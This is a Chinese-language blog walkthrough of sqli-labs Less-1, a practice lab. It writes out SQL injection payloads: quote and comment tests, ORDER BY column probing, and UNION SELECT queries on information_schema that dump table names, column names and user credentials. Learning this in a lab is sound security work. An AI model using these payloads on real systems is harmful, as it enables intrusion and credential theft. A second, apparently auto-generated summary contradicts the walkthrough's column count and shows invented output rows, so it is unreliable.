sqli-labs一第一关详细步骤,新手打基础篇

第一关
要求:请在url上输入一个id、get请求
1、首先判断是字符型还是数字型
输入 1,有用户显示
输入1’,提示语法错误
输入1’–+,有用户显示
说明是字符型注入
2、判断列数
order by 1–+ 往后以此类推,知道显示报错信息为止
在这里插入图片描述
这里order by 4显示错误信息,所以这个表三列

3、联合查询
union select 1,2,3…上一步有多少列就写多少个,查看输出结果,看数据输出在哪几列
这里把id改为了-1,因为这个sql语句应该是用了limit,只显示一条数据,但是我们要判断数据显示在哪一列,所以把id改成-1,这里显示了2,3,说明数据在二三列显示,第一列不显示数据

4、先查出使用的是哪个数据库,用database()函数,以及数据库版本信息,用version()函数
这里如果将函数写在1的位置,是显示不出数据的,这就是为什么需要知道数据显示在哪几列的原因
5、查出数据库名称后,爆破表名,union 1,group_concat(table_name),3,…有多少列写多少列 from infomation_schema.tables where table_schema=‘数据库名’–+
在这里插入图片描述
6、查出该数据库所有的表名后,选一个你想查的表,继续爆破这个表的数据
union 1,2,group_concat(column_name),… from information_schema.columns where table_name=‘表名’–+
这里我查的是users表,但是查出来多了三列,不知道为什么,知道的朋友可以在评论区讨论
7、查出了具体的字段名,最后一步就是查出具体的数据了,union 1,2,group _concat(username,id,password) from users–+
在这里插入图片描述
至此,结束

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
sqli-labs-master是一个SQL注入练习平台,第一关是一个基础的SQL注入练习。 首先,打开练习平台,找到第一关的链接。在链接的末尾加上 `'`,观察页面的响应。如果页面存在SQL注入漏洞,那么会显示类似如下的错误信息: ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 ``` 这意味着我们在SQL语句中注入了一个单引号,导致MySQL服务器无法正确解析SQL语句。这也是SQL注入漏洞的典型表现。 接下来,我们可以尝试利用注入漏洞获取数据库中的数据。在第一关中,我们需要获取 `users` 表中的数据。因此,我们可以在链接的末尾加上以下语句: ```sql ' union select 1,2,3,4,5,6,7,8-- ``` 这个语句会在SQL语句中插入一个 `union` 查询语句,用于查询 `users` 表中的数据。`1` 到 `8` 是查询的字段数量,这里可以根据实际情况调整。双破折号 `--` 表示注释,用于避免语法错误。 将以上语句加到链接末尾后,点击访问链接,页面会显示类似以下内容的数据: ``` 1 2 3 4 5 6 7 8 1 admin 5f4dcc3b5aa765d61d8327deb882cf99 1 2 bob 202cb962ac59075b964b07152d234b70 0 ``` 其中,第一行是查询结果的字段名,第二行开始是 `users` 表中的数据。我们可以看到,这个表中包含了两个用户的信息,其中 `admin` 用户的密码经过了 MD5 加密。 这样,我们就成功地利用 SQL 注入漏洞获取了数据库中的数据,完成了第一关的挑战。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值